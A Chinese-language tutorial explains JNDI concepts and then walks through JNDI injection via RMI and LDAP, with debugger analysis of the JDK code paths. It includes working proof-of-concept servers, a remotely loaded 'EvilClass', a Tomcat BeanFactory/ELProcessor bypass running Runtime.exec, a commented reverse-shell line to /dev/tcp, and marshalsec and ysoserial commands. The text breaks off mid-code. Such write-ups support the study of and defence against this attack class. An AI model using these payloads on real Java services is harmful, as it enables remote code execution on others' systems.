目录
JNDI介绍
根据官方文档,JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。
Naming Service命名服务
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
其中另一个值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:
cn=John, o=Sun, c=US
表示在c=US的子域中寻找o=Sun的子域,再在结果中查找cn=John的对象。
在名称系统中,有几个重要的概念。
Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。
References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
Directory Service目录服务
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。
一些典型的目录服务有:
NIS: Network Information Service,Solaris 系统中用于查找系统相关信息的目录服务;
Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
其他基于 LDAP 协议实现的目录服务;
总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。
在下文中如果没有特殊指明,都会将名称服务与目录服务统称为目录服务。
API
根据上面的介绍,我们知道目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。在 Java 应用中除了以常规方式使用名称服务(比如使用 DNS 解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java 对象。
比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。
为此,就有了 JNDI,即 Java 的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。
JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
RMI: Java Remote Method Invocation,Java 远程方法调用;
LDAP: 轻量级目录访问协议;
CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。
为了更好理解 JNDI,我们需要了解其背后的服务提供者(Service Provider),这些目录服务本身和 JNDI 有没直接耦合性,但基于 SPI 接口和 JNDI 构建起了重要的联系。
JNDI的结构
从上面介绍的三个 Service Provider 我们可以看到,除了 RMI 是 Java 特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java 独立使用。JNDI 就是在这个基础上提供了统一的接口,来方便调用各种服务。
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
类介绍
InitialContext类
构造方法
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
例子
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
//在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}
总的来说,这个例子的作用就是查找与该地址关联的jndi对象。如果运行成功,它将打印出相关对象的信息。如果连接被拒绝或者找不到对应的对象,可能会抛出NamingException异常
Reference类
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
常用方法:
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()
例子
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
上面代码的功能是将一个包含特定信息的Reference对象通过JNDI和RMI机制绑定到RMI注册表中。
这里可以看到调用完Reference后调用了ReferenceWrapper将前面的Reference对象给传进去。将类注册到Registry需要实现Remote和继承UnicastRemoteobject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他封装一下
JNDI References 注入
为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况。因此JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory类的名称和位置。
Reference可以使用ObjectFactory来构造对象。当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。
所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用
在 JNDI 服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化
Reference 类常用属性:
className 远程加载时所使用的类名
classFactory 加载的 class 中需要实例化类的名称
classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议
例:
Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );
registry.bind("Exploit", new ReferenceWrapper(reference));
此时,假设使用rmi协议,客户端通过lookup函数请求上面bind设置的Exploit
Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");
因为绑定的是 Reference 对象,客户端在本地 CLASSPATH 查找 Exploit 类,如果没有则根据设定的 Reference 属性,到URL: http://evilHost/Exploit.class 获取构造对象实例,构造方法中的恶意代码就会被执行
JNDI RMI
低版本jdk运行
jdk <=6u132,7u122,8u113
服务端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ServerExp {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
String factoryUrl = "http://localhost:1098/";
Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("test", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
客户端代码
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
public class JNDILookup {
public static void main(String[] args) {
try {
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/test");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
恶意类
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
static void log(String key) {
try {
System.out.println("EvilClass: " + key);
} catch (Exception e) {
// do nothing
}
}
{
EvilClass.log("IIB block");
}
static {
EvilClass.log("static block");
}
public EvilClass() {
EvilClass.log("constructor");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
EvilClass.log("getObjectInstance");
return null;
}
}
将恶意类编译成为class文件,然后在那个目录起个python服务器

启动服务端

启动客户端

可以看到客户端中远程的类的代码按照顺序被执行
static在类加载的时候执行
代码块和无参构造方法在clas.newInstance()时执行
高版本jdk运行
JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。
不加参数,抛出异常:

加入参数就可以正常运行
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

异常分析
上面高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 中

其中 getFactoryClassLocation()方法是获取classFactoryLocation地址,这里会对 trustURLCodebase 进行取反,由于在 JDK 6u132、7u122、8u113 版本及以后, com.sun.jndi.rmi.object.trustURLCodebase 默认为 false ,所以会进入 if 语句,抛出异常。
绕过
如果要解码的对象 r 是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance,其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance 方法,这也符合我们前面打印的 EvilClass 的执行顺序。
为了绕过这里 ConfigurationException 的限制,我们有三种办法,令var8即ref为空,或者令
var8.getFactoryClassLocation()即ref.getFactoryClassLocation() 为空,或者 令 trustURLCodebase 为 true
方法一:令ref为空,从语义上看不能是对象引用,只能是原始对象,这时客户端直接实例化本地对象,远程RMI没有操作空间,这种情况不好利用
方法二:令ref.getFactoryClassLocation() 返回空。即,让ref对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应的factory的名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键;
方法三:我们已经在上面用过,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 参数。
可以看一下getFactoryClassLocation()方法,以及返回值的赋值情况。


要满足方法二情况,我们只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase。接着看一下 javax.naming.spi.NamingManager 的解析过程

//javax/naming/spi/NamingManager.java
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

可以看到,在处理 Reference 对象时,会先调用 ref.getFactoryClassName() 获取对应工厂类的名称,也就是会先从本地的CLASSPATH中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求,即前文中的情况。
之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了。但getObjectInstance方法需要你的类实现javax.naming.spi.ObjectFactory接口
因此,我们实际上可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。
整个利用过程的主要调用栈如下:
InitialContext#lookup()
RegistryContext#lookup()
RegistryContext#decodeObject()
NamingManager#getObjectInstance()
objectfactory = NamingManager#getObjectFactoryFromReference()
Class#newInstance() //-->恶意代码被执行
或: objectfactory#getObjectInstance() //-->恶意代码被执行
所以满足的工厂类条件:
1.存在于目标本地的CLASSPATH中
2.实现javax.naming.spi.ObjectFactory接口
3.至少存在一个getObjectInstance()方法
我们可以选择
Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory
环境搭建
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
这个作为服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class bypass {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
// ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
客户端代码还是和上面一样
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
public class JNDILookup {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/test");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
bypass分析
我们来分析poc
先看ResourceRef,ResourceRef 在 tomcat 中表示某个资源的引用,其构造函数参数如下:

再来看看poc
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
// ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
其中我们指定了资源的实际类为 javax.el.ELProcessor,工厂类为 apache.naming.factory.BeanFactory。
后面为什么这么写,我们下个断点,调试一下

经过下列调用栈

进入RegistryContext#decodeObject

if就是我们刚刚绕过的地方,然后进入NamingManager.getObjectInstance

经由NamingManager.getObjectInstance进入factory.getObjectInstance

进入BeanFactory#getObjectInstance后,首先会判断对象是否是ResourceRef类,接下来通过反射实例化了beanClass

取出了键值为forceString的值,以,分割,拆分=键值对,存入hashMap对象中,=右边为调用的方法,=左边则是会通过作为hashmap的key,这里就可以看出poc为什么这样写,继续往下走

此时各个变量值为

最后通过反射执行我们指定的之前构造的方法
可以看到该方法中有反射的调用method.invoke(bean, valueArray);并且反射所有参数均来自Reference,反射的类来自Object bean = beanClass.newInstance();,这里是ELProcessor ,后面就是分析ELProcessor.eval达到了命令执行。

调用栈如下

所以整个绕过流程就是:
为了绕过ConfigurationException,需要满足ref.getFactoryClassLocation() 为空,只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase
来到NamingManager,需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在其中一块代码能执行payload,找到了BeanFactory
BeanFactor使用newInstance创建实例,所以只能调用无参构造,这就要求目标 class 得有无参构造方法且有办法执行相关命令,于是找到ELProcessor
总结起来就是绕过了ConfigurationException,进入NamingManager,使用BeanFactor创建ELProcessor/GroovyShell无参实例,然后BeanFactor根据别名去调用方法(执行ELProcessor中的eval方法)
JNDI_LDAP
LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储,此外,还有一些其他实现 Java 对象存储的方法: * 使用 Java 序列化进行存储; * 使用 JNDI 的引用(Reference)进行存储
低版本运行
我们可以通过LDAP服务来绕过URLCodebase实现远程加载,LDAP服务也能返回JNDI Reference对象,利用过程与jndi + RMI Reference基本一致,不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。
搭建环境
客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class ldap {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1389/EvilClass";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
服务端使用工具
RandomRobbieBF/marshalsec-jar: marshalsec-0.0.3-SNAPSHOT-all compiled on X64 (github.com)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EvilClass
在之前编译好的恶意类上起个python服务器
python -m http.server 8000



可以成功执行恶意类
流程分析
JNDI发起ldap的lookup后,将有如下的调用流程,这里我们直接来关注,获得远程LDAP Server的Entry之后,Client这边是怎么做处理的

LADP服务利用流程分析,LADP服务前面的调用流程和jndi是基本一样,从Obj类的decodeObject方法这里就有些不太一样了,decodeObject方法内部调用了decodeReference方法
跟进com.sun.jndi.ldap.Obj.java#decodeObject,其主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}
Obj类的decodeReference方法根据Ldap传入的addAttribute属性构造并返回了一个新的reference对象引用
private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {
String var4 = null;
Attribute var2;
if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {
throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
} else {
String var3 = (String)var2.get();
if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {
var4 = (String)var2.get();
}
//返回一个新的Reference对象引用
Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
//获取第6个属性
if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {
//省略部分代码
}
//直接返回reference对象
return var5;
}
}
LDAP服务的Reference对象引用的获取和jndi注入中的不太一样,jndi是通过ReferenceWrapper_Stub对象的getReference方法获取reference对象,而LADP服务是根据传入的属性构造一个新的reference对象引用,接着获取了第6个属性并判断是否为空,如果第6个属性为null则直接返回新的reference对象引用。
reference对象的三个属性:className,classFactory,classFactoryLocation)如下所示:

接着会返回到decodeObject方法调用处,然后再返回到LdapCtx类的c_lookup方法调用处,接着往下执行调用getObjectInstance方法
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
Object var3 = null;
Object var4;
try {
SearchControls var22 = new SearchControls();
var22.setSearchScope(0);
var22.setReturningAttributes((String[])null);
var22.setReturningObjFlag(true);
LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
this.respCtls = var23.resControls;
if (var23.status != 0) {
this.processReturnCode(var23, var1);
}
if (var23.entries != null && var23.entries.size() == 1) {
LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
var4 = var25.attributes;
Vector var8 = var25.respCtls;
if (var8 != null) {
appendVector(this.respCtls, var8);
}
} else {
var4 = new BasicAttributes(true);
}
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//var3接收reference对象
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
} catch (LdapReferralException var20) {
LdapReferralException var5 = var20;
if (this.handleReferrals == 2) {
throw var2.fillInException(var20);
}
while(true) {
LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);
try {
Object var7 = var6.lookup(var1);
return var7;
} catch (LdapReferralException var18) {
var5 = var18;
} finally {
var6.close();
}
}
} catch (NamingException var21) {
throw var2.fillInException(var21);
}
try {
//调用了getObjectInstance方法
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}
c_lookup方法将var3(reference对象)传给了getObjectInstance方法的refInfo参数,继续跟进分析getObjectInstance方法
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx , Hashtable<?,?> environment, Attributes attrs) throws Exception {
ObjectFactory factory;
//获取对象工厂
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}
// use reference if possible
Reference ref = null;
//判断reference对象是否为Reference
if (refInfo instanceof Reference) {
//转换为Reference类型
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
//reference对象是否为空
if (ref != null) {
//获取工厂类名Exp
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
//根据工厂类远程获取对象引用
factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
// ignore name & attrs params; not used in URL factory
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer = createObjectFromFactories(refInfo, name, nameCtx,
environment, attrs);
return (answer != null) ? answer : refInfo;
}
getObjectInstance方法将reference对象转换为Reference类型并判断reference对象是否为空,如果不为空则从reference引用中获取工厂类Exp名字,接着调用getObjectFactoryFromReference方法根据工厂类Exp名字获取远程调用对象。
getObjectFactoryFromReference方法实现如下:


可以看到LDAP服务跟jndi一样,会尝试先在本地查找加载Exp类,如果本地没有找到Exp类,那么getFactoryClassLocation方法会获取远程加载的url地址,如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类,通过分析发现LDAP服务的整个利用流程都没有URLCodebase限制。
看一下整个调用站栈

高版本运行
在jdk8u191以上的版本中修复了LDAP服务远程加载恶意类这个漏洞,LDAP服务在进行远程加载之前也添加了系统属性trustURLCodebase的限制,通过分析在jdk8u191版本发现,在loadClass方法内部添加了系统属性trustURLCodebase的判断,如果trustURLCodebase为false就直接返回null,只有当trustURLCodebase值为true时才允许远程加载。

在高版本 JDK 中需要通过 com.sun.jndi.ldap.object.trustURLCodebase 选项去启用。这个限制在 JDK 11.0.1、8u191、7u201、6u211 版本时加入,略晚于 RMI 的远程加载限制。
使用序列化数据触发Gadget
触发点一:com.sun.jndi.ldap.Obj.java#decodeObject存在对JAVA_ATTRIBUTES[SERIALIZED_DATA]的判断。
com.sun.jndi.ldap.Obj.java#decodeObject 主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。之前讲到Reference对象,现在讲一下传来的是序列化的对象这种情况。
如果是序列化对象会调用deserializeObject方法

进入deserializeObject方法,发现会进行readObject

搭建环境,使用cc6去打
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
payload
java -jar ysoserial.jar CommonsCollections6 "calc"|base64

拿到\r\n去除
服务端
package com.jndi.bypass;
import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
public class Deserializebypass {
private static final String LDAP_BASE = "dc=example,dc=domain";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#calc"};
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new Deserializebypass.OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
